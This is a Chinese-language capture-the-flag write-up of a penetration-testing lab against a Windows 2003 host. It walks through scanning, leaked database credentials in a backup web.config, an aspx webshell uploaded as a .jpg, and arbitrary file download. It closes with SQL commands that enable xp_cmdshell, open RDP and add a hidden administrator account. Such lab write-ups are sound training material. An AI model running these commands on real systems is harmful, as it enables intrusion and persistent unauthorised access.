先查看本地局域网的IP地址
使用arp-scan 进行二层发现
二层发现
目标主机 192.168.100.13
对目标主机进行扫描发现端口 服务
nmap -sV -O -p 1-65535 192.168.100.13
由于这里是第二遍 我已经开启了3389 端口
那从没有开启的3389 的端口来说
根据信息 可以了解到的内容大概有
445 端口 1433 端口 sql server 27689 端口 http
可以看出的信息还有是一台 2003 的主机 开启了sql server 服务器 和 http 服务器
从渗透的角度来说 第一步肯定是去看一下 http服务器 和 msf 去打一下 毕竟主机很老了 可以使用msfconf 08_067
但是这里要获取key值
这里先从web层面进行入手
web入口
是这么一个界面
文件上传下载系统
输入admin 密码 123456
提示密码错误 可能存在弱口令
BURP 抓包发送到intruder模块
尝试爆破密码无果
目录扫描
在扫描的时候去看一下 robots.txt 文件
存在 admin 目录 和 upfile 目录
拼接在后面进行查看
两个目录都被拒绝访问 可能是还需要拼接后面的目录内容
现在在返回去看一下扫描结果
第一步扫描存在200 的目录文件
/admin/admin.aspx
/js/config.js
/robots.txt
/web.config.bak
这里有一个备份文件 感觉很重要
一般网站存在的备份文件都很重要
先一个个进行尝试 访问
结果
无果
访问一下备份文件
web 备份文件
这是数据库 的信息 这里存在一个pwd 密码
这里进行连接数据库
存在一个userlists 的表
这里存在一个密码 admin 用户的 那这不就可以登录web 端了 快去尝试
admin
asdadwn_d2112
登录成功 发现第一个key1 值
登录到网页的第一点
就是查看网页的功能点有多少 才能测试有什么漏洞
这里的功能点 有 上传文件 添加用户
可能存在的漏洞有xss 文件上传 越权等操作
当然我们这里的目标是getshell
文件上传
主要查看文件上传
可以看出 这个网页是用aspx 写的
这里上传aspx 的一句话上去
这里有限制不能上传 aspx的文件
根据他这里上传的文件 来看 还要看注意
不能上传文件名过长 上传的jpg文件
文件名过长会被系统截取包括系统时间在内的前32位字符作为文件名,请上传的文件名称不要过长,
这里可能是白名单
png 都不可以
jpg 是可以上传上去的
但是这样连接不了可能 这么名字限制了上传一个 bbbbbbbb.aspx.jpg
上传成功
连接shell
http://192.168.100.13:27689/admin/file_down.aspx?file=638056744815740892-bbbbbbbb.aspx
这个是连接不了的 这个系统叫做文件上传下载系统 这是一个下载链接
一开始就发现一个upfile目录接着去扫描一下 upfile
现在找不到文件储存路径
扫描不到
还有一个admin目录
去扫描一下
admin 目录存在 比较多的文件
[14:41:19] Starting:
[14:41:44] 200 - 415B - /admin/ADMIN.aspx
[14:41:44] 200 - 415B - /admin/Admin.aspx
[14:41:52] 403 - 3KB - /admin/Trace.axd
[14:41:55] 500 - 4KB - /admin/WebResource.axd?d=LER8t9aS
[14:41:56] 403 - 32B - /admin/\..\..\..\..\..\..\..\..\..\etc\passwd
[14:42:04] 200 - 415B - /admin/admin.aspx
[14:42:51] 200 - 21B - /admin/file_upload.aspx
[14:42:58] 301 - 161B - /admin/img -> http://192.168.100.13:27689/admin/img/
结果还是无果
文件包含
在去看一下下载文件
http://192.168.100.13:27689/admin/file_down.aspx?file=
这后面接的是要下载的文件名
然后我如果输入一个不存在的文件呢
报错了 更好的是找的了文件存储路径
_未能找到文件“D:\web\upfile\affix_
_现在可以去连接shell 了 _
_但是我这种地方有file 函数 _
存在file函数 ,就说明可能存在文件包含 ,文件读取漏洞,任意文件下载
刚好存在任意文件下载
好了该去连接shell 了
连接成功
找到k2
管理员权限 + 开启 3389 端口
寻找还有什么有用的信息
这里有三个web.config 文件 有点可疑
前面两个是一样的 可以被扫描出来和任意文件下载 出来的
那打开第三个 看看
他的id 是sa pwd cisp-pte@sa database=FileManage
连接sql server
连接成功
这里查看一下sa 用户的权限
可以看出已经执行了sql 语句 并且是system 权限
关闭防火墙
开启 cmd_shell
use master;
exec sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。
启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
执行:
EXEC master.dbo.xp_cmdshell '命令'
如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
关闭防火墙
开启RDP 远程连接
exec master.dbo.xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSconnections" /t REG_DWORD /d 0 /f'
创建用户 + 添加到管理员组
exec master..xp_cmdshell 'net user test2 123.com /add'
exec master..xp_cmdshell 'net localgroup administrators test2 /add'
exec master..xp_cmdshell 'net user test2'
mstsc 远程连接
这里找到key3
其实和数据库里面的key3 一样的